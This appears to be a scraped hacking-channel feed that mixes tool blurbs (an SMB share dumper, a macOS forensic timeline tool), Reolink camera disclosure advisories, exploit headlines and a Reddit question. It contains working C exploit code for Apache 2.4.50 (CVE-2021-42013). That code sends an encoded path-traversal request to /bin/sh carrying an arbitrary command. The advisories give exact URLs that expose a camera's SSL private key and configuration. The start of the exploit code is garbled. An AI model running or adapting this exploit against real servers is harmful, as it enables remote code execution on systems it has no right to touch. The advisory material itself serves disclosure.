Nginx is being used in the wild since a while now. We all have seen NGINX name somewhere while coding/hacking. NGINX has always been a…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/hacking-nginx-best-ways-7c576cc17ccc?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
DumpSMBShare : A Script To Dump Files And Folders Remotely From A Windows SMB Share

DumpSMBShare is a script to dump files and folders remotely from a Windows SMB share.

Features

* Only list shares with --list-shares.
* Select only files with given extensions (with --extensions) or all files.
* Choose the local folder to dump to with --dump-dir.
* Select base folder to search from in the share with --base-dir.

Usage

$ ./DumpSMBShare.py -h
DumpSMBShare v1.2 – by @podalirius_
usage: Dump.py [-h] (-s SHARE | -l) [-e EXTENSIONS] [-D DUMP_DIR] [-f FILE] [-B BASE_DIR] [–debug] [-q] [-H LMHASH:NTHASH] [–no-pass] [-k] [-A hex key]
[–dc-ip ip address] [-I ip address] [-P [destination port]]
target
positional arguments:
target [[domain/]username[:password]@]
optional arguments:
-h, –help show this help message and exit
-s SHARE, –share SHARE
SMB Share to dump
-l, –list-shares Lists SMB shares.
-e EXTENSIONS, –extensions EXTENSIONS
Extensions
-D DUMP_DIR, –dump-dir DUMP_DIR
Dump directory
-f FILE, –file FILE SMB file to dump
-B BASE_DIR, –base-dir BASE_DIR
Directory to search in (Default: /)
–debug Turn on debug output. (Default: False)
-q, –quiet Turn DEBUG output ON
authentication:
-H LMHASH:NTHASH, –hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
–no-pass Don’t ask for password (useful for -k)
-k, –kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot
be found, it will use the ones specified in the command line
-A hex key, –aesKey hex key
AES key to use for Kerberos Authentication (128 or 256 bits)connection:
–dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-I ip address, –target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS
name and you cannot resolve it
-P [destination port], –port [destination port]
Destination port to connect to SMB Server

Example

* Dump all files from the SYSVOLshare:
* ./DumpSMBShare.py ‘LAB.local/user2:Admin123@192.168.2.1’ –debug
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHeDhejBvNpSsQMCfThT1OCwAff0SLqVnBwuPlj6Wa5jY61OLnCIpKuRldJTwrTQL-TVA1npRLVYQNA1PaJV3dPTHIUF5KlKIa19UoBbfNklcFJfwEAHC_mGkUPWN3INihZzBMrPR69-TNCmkD4O3B4PPJ_sK7M2h7uUdMXEH8h4QWpejZlbnTuWPS/s1914/1.png https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSEg3_xR9PbtFHD8IrDQTK3zFusc1JsFyGSEklZh6CK2M0CIxX5Epgyisc_xomSKLLEqUlMKIA97DSJPOYJSImqeNJeMLeT3rwhTeLIU0yxkUFluUPVAiLUxK-_B4J8s6yvdPkEu7axKzIbi5faGsf_UKM0Hor3OmsLLII8uteaYGjx5Ej7svXeDYU/s1545/2.png

Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Ma2Tl : macOS Forensic Timeline Generator Using The Analysis Result DBs Of Mac_Apt

Ma2Tl is a DFIR tool for generating a macOS forensic timeline from the analysis result DBs of mac_apt.

Requirements

* Python 3.7.0 or later
* pytz
* tzlocal
* xlsxwriter

Installation

% git clone https://github.com/mnrkbys/ma2tl.git

Usage

% python ./ma2tl.py -h
usage: ma2tl.py [-h] [-i INPUT] [-o OUTPUT] [-ot OUTPUT_TYPE] [-s START] [-e END] [-t TIMEZONE] [-l LOG_LEVEL] plugin [plugin …]
Forensic timeline generator using mac_apt analysis results. Supports only SQLite DBs.
positional arguments:
plugin Plugins to run (space separated).
optional arguments:
-h, –help show this help message and exit
-i INPUT, –input INPUT
Path to a folder that contains mac_apt DBs.
-o OUTPUT, –output OUTPUT
Path to a folder to save ma2tl result.
-ot OUTPUT_TYPE, –output_type OUTPUT_TYPE
Specify the output file type: SQLITE, XLSX, TSV (Default: SQLITE)
-s START, –start START
Specify start timestamp. (ex. 2021-11-05 08:30:00)
-e END, –end END Specify end timestamp.
-t TIMEZONE, –timezone TIMEZONE
Specify Timezone: “UTC”, “Asia/Tokyo”, “US/Eastern”, etc (Default: System Local Timezone)
-l LOG_LEVEL, –log_level LOG_LEVEL
Specify log level: INFO, DEBUG, WARNING, ERROR, CRITICAL (Default: INFO)
The following 4 plugins are available:
FILE_DOWNLOAD Extract file download activities.
PERSISTENCE Extract persistence settings.
PROG_EXEC Extract program execution activities.
VOLUME_MOUNT Extract volume mount/unmount activities.
—————————————————————————-
ALL Run all plugins

Generated timeline example
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEj1GkVQVV4bSiRrI_oWUL8LthMykR4ZlTzKb5oL41oBnMGmYU5FIRlbWeHS7Y3qr5MLlxKzO6GUvkG3fqpQYvpkpNyjusCl6dpepxTl0AqoA-XZSfcK86P-9Rh6DRoA4MulWlmbr_Nn7WH_opdLm5IVtQBc1HkEmQPpW-tF5rH2UTnIAlG9LhTyFT/s2000/demo_scenario.png

Download

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Apache 2.4.50 Remote Code Execution

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
Apache version 2.4.50 remote code execution exploit that leverages a traversal as identified in CVE-2021-42013. Written in C.

SHA-256 | 64d8677bc7be110891aa555bf10e259d5602cd7d458c4a59da80719f277ba28b

Download
#include data, memory->size+nmemb+1);
memory->data = ptr;
memcpy(&(memory->data[memory->size]), pointer, nmemb);
memory->size += nmemb;
memory->data[memory->size] = 0;
return nmemb;
}

bool exploit(void* result, char* host, char* exec)
{
CURL *curl = curl_easy_init();
char url[256];
sprintf(url, "%s/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh", host);
curl_easy_setopt(curl, CURLOPT_URL, url);
char payload[256];
sprintf(payload, "echo Content-Type: text/plain; echo; %s", exec);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, result);
int res = curl_easy_perform(curl);
if (res != CURLE_OK)
return error(curl_easy_strerror(res));
curl_easy_cleanup(curl);
return true;
}

int main(int argc, char* argv[])
{
if (argc != 3)
return usage(argv[0]);
struct callback_result result = {0};
bool res = exploit(&result, argv[1], argv[2]);
if (res)
printf("[+] Exploit finished successfully, check output\n");
else
printf("[-] Exploit failed, check output\n");
printf(" \n%s\n", result.data);
return 0;
}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
dbus-broker-29 Memory Corruption

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Poly Studio X30 / Studio X50 / Studio X70 / G7500 Command Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Reolink E1 Zoom Camera 3.0.0.716 Private Key Disclosure

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key disclosure vulnerability.

SHA-256 | 6a0bd039c1f58f660697b01a27d1512dbd2ffb57a9229991176f80a78cd66c64

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Reolink E1 Zoom Camera
Vendor URL: https://reolink.com/product/e1-zoom/
Type: Exposure of Sensitive Information to an Unauthorized Actor [CWE-200]
Date found: 2021-08-26
Date published: 2022-06-01
CVSSv3 Score: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVE: CVE-2021-40149
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Reolink E1 Zoom Camera 3.0.0.716 (latest) and below
4. INTRODUCTION
===============
Meet new generation of Reolink E1 series. Advanced features - 5MP Super
HD & optical zoom are added into this compact camera. Plus two-way audio,
remote live view and more smart capacities help you connect with what you
care. Be closer to families and be away from worries.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The web server of the E1 Zoom camera through 3.0.0.716 discloses its SSL private
key via the root web server directory.

An unauthenticated attacker can abuse this with network-level access to the
camera to download the webserver's private SSL key by simply going to the
following URL:

http://[CAM-IP]/self.key
6. RISK
=======
An unauthenticated attacker can download the webserver's SSL private key and
thereby attack the encrypted network traffic to and from the camera, which might
lead to the disclosure of the administrative access credentials and other
sensitive information.
7. SOLUTION
===========
None.
8. REPORT TIMELINE
==================
2021-08-26: Discovery of the vulnerability
2021-08-26: Sent notification to Reolink via their support channel
2021-08-26: Response from vendor asking for vulnerability details
2021-08-26: Sent all the vulnerability details
2021-08-31: Vendor is still looking into the issue
2021-09-03: Vendor states that the issue will be fixed by the end of September.
2021-10-01: Since no firmware has been released, we've sent another notification
2021-10-02: Vendor states that the new firmware is delayed
2022-02-01: Since there is still fix, sent another notification
2022-02-02: Vendor states that the firmware with the fix hasn't been released yet.
2022-03-03: Since there is still fix, sent another notification
2022-03-12: Vendor states they're still working on the issue (internal update awaits testing)
2022-05-24: Since there is still fix, sent another notification
2022-05-24: Vendor states that the update still hasn't been released yet.
2022-06-01: Almost a year should be enough to fix this. Public disclosure.
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Reolink E1 Zoom Camera 3.0.0.716 Configuration Disclosure

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a configuration disclosure vulnerability.

SHA-256 | ba600aa8322c82ebd04618aeda4cdc9a22917520900038fa00529aee1c78ebb1

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Reolink E1 Zoom Camera
Vendor URL: https://reolink.com/product/e1-zoom/
Type: Exposure of Sensitive Information to an Unauthorized Actor [CWE-200]
Date found: 2021-08-26
Date published: 2022-06-01
CVSSv3 Score: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CVE: CVE-2021-40150
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Reolink E1 Zoom Camera 3.0.0.716 (latest) and below
4. INTRODUCTION
===============
Meet new generation of Reolink E1 series. Advanced features - 5MP Super HD
& optical zoom are added into this compact camera. Plus two-way audio, remote
live view and more smart capacities help you connect with what you care. Be
closer to families and be away from worries.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The web server of the E1 Zoom camera through 3.0.0.716 discloses its configuration
via the /conf/ directory that is mapped to a publicly accessible path.

An unauthenticated attacker can abuse this with network-level access to the
camera to download the entire NGINX/FastCGI configurations by querying, i.e.:

http://[CAM-IP]/conf/nginx.conf
http://[CAM-IP]/conf/fastcgi.conf

Etc.
6. RISK
=======
An unauthenticated attacker can download the webserver's configuration files
which might lead to sensitive information disclosure.
7. SOLUTION
===========
None.
8. REPORT TIMELINE
==================
2021-08-26: Discovery of the vulnerability
2021-08-26: Sent notification to Reolink via their support channel
2021-08-26: Response from vendor asking for vulnerability details
2021-08-26: Sent all the vulnerability details
2021-08-31: Vendor is still looking into the issue
2021-09-03: Vendor states that the issue will be fixed with the next firmware update by the end of September.
2021-10-01: Since no firmware has been released, we've sent another notification
2021-10-02: Vendor states that the new firmware is delayed
2022-02-01: Since there is still fix, sent another notification
2022-02-02: Vendor states that the firmware with the fix hasn't been released yet.
2022-03-03: Since there is still fix, sent another notification
2022-03-12: Vendor states they're still working on the issue (internal update awaits testing)
2022-05-24: Since there is still fix, sent another notification
2022-05-24: Vendor states that the update still hasn't been released yet.
2022-06-01: Almost a year should be enough to fix this. Public disclosure.
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Poly EagleEye Director II 2.2.1.1 Command Injection / Authentication Bypass

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Building a REAL secure system?

This is a question for those of you who are more into theory...

Is it theoretically possible to build a safe system? Is there a conceivable Turing machine you can build up and from scratch and from which you can exclude third parties by means of architecture?

Nature has so far just come up with meta-stable solutions as (biological) viruses clearly show. Can we come up with something more solid?

Can we define at least the requirements and check one by one which is actually doable and which is not?

Thanks for your input

submitted by /u/thebanicThot
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video